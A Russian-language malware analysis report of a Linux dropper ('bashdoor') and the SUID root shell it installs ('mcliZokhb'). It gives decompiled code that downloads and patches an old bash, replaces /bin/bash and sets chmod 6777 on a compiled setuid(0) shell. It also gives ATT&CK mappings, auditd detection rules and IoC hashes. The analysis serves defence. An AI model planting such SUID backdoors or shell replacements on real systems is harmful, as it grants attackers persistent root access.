

Оглавление

Анализ файлов	1
<i>Анализ bashdoor</i>	1
<i>Анализ mcliZokhb</i>	2
Маппинг MITRE ATT&CK	2
Правила для auditd	3
IoC	3

В ходе анализа было проанализировано два файла - `bashdoor` и `mcliZokhb`. Оба файла предназначены для ОС Linux. В связке они позволяют закрепиться в системе с повышением привилегий.

Анализ файлов

Анализ bashdoor

В работе этого файла реализован дроппер. Его цель – развёртывание и закрепление backdoor в ОС. У него есть несколько вариантов выполнения:

Case 1: Скачивание, патчинг и замена `bash` на старую версию `bash 2.05`. Данная версия `bash` выбрана не случайно. В этой версии `bash` нет проверки, которая сбрасывает повышенные права `root` при запуске оболочки через `SUID`. Эта технология используется для закрепления в системе и описана ниже.

Case 2: На хосте компилируется файл `SeCshell.c`, который сохраняется в папку `tmp` под названием `mcliZokhb`. Бинарнику выдаются права `6777`. Маска `6` в начале прав означает одновременную установку битов `SUID (4)` и `SGID (2)`. Это позволяет любому пользователю запускать файл с правами владельца (`root`) и с правами его группы. Таким образом реализуется повышение привилегий, но только для исполнения файла, закрепляясь в системе и оставляя backdoor.

Case 3: Корректное завершение работы текущего процесса.

Default: Вызывает функцию снова для отработки следующего case. После отработки последнего – завершает выполнение.

```

unsigned __int64 sub_1250()
{
    int v1; // [rsp+4h] [rbp-14h] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-10h]

    v2 = __readfsqword(0x28u);
    __isoc99_scanf(&unk_2004, &v1);
    switch ( v1 )
    {
        case 2:
            system("/usr/bin/gcc SeCshell.c -o /tmp/mcliZokhb -lcrypt>/dev/null");
            system("/usr/bin/chmod 6777 /tmp/mcliZokhb");
            sub_1250("/usr/bin/chmod 6777 /tmp/mcliZokhb", &v1);
            break;
        case 3:
            exit(0);
        case 1:
            sleep(3u);
            system("/usr/bin/wget ftp://ftp.gnu.org/gnu/bash/bash-2.05.tar.gz>/dev/null");
            system("/bin/tar -zxvf bash-2.05.tar.gz>/dev/null");
            system("/bin/mv ./bashp bash-2.05/");
            chdir("bash-2.05/");
            system("/usr/bin/patch shell.c bashp;./configure>/dev/null;make>/dev/null;make install>/dev/null;mv -f ./bash /bin");
            chdir("$home");
            sleep(5u);
            sub_1250(5, &v1);
            break;
        default:
            sub_1250(&unk_2004, &v1);
            break;
    }
    return v2 - __readfsqword(0x28u);
}

```

Анализ файла bashdoor

Анализ mcliZokhb

Поскольку на файл mcliZokhb были установлены права SUID и SGID, то таким образом файл выполняется от root.

Однако для получения полного root в файле вызываются два syscall – setuid(0) и setgid(0). Теперь благодаря этому при выполнении файла от root реальный UID и эффективный UID будут одинаковы, что даёт злоумышленнику доступ к root-шелл.

```

int __fastcall main(int argc, const
{
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh -i", 0);
    return 0;
}

```

Анализ файла mcliZokhb

Маппинг MITRE ATT&CK

- Скачивание архива через wget: [T1105 – Ingress Tool Transfer](#)
- Компиляция после доставки: [T1027.004 – Compile After Delivery](#)
- Повышение привилегий: [T1548.001 – Setuid and Setgid](#)
- Закрепление в системе: [T1556 – Modify Authentication Process](#)

Правила для auditd

- Изменение прав доступа:
 - `-a always,exit -F arch=b64 -S chmod -S fchmod -F a1&06000 -k chmod_tmp`
 - `-a always,exit -F arch=b64 -S fchmodat -F a2&06000 -k chmod_tmp`
- Контролирование скачивания:
 - `-a always,exit -S execve -S execveat -F exe=/usr/bin/wget -k connect_wget`
 - `-a always,exit -S execve -S execveat -F exe=/usr/bin/curl -k connect_curl`
- Компиляция:
 - `-a always,exit -S execve -S execveat -F exe=/usr/bin/gcc -k compil`
- Изменения командной оболочки:
 - `-w /bin/bash -p wa -k new_shell`

IoC

Файловые

- Хэш bashdoor:
`a6e6995b4d1129abaa649f4121936d8429fbb8fca4851d411db70358f4a4bf8b`
- Хэш mcliZokhb:
`be4243c78520fbf206bc2c3de2caeafd0c5f9461482e4465b6889ae9457d3eac`
- Имя файла: SeCshell

Сетевые

- Портал gnu: <ftp://ftp.gnu.org/gnu/bash/bash-2.05.tar.gz>

Системные

- Установка прав SUID и GUID

Поведенческие

- Компиляция SeCshell
- Запуск root-шелл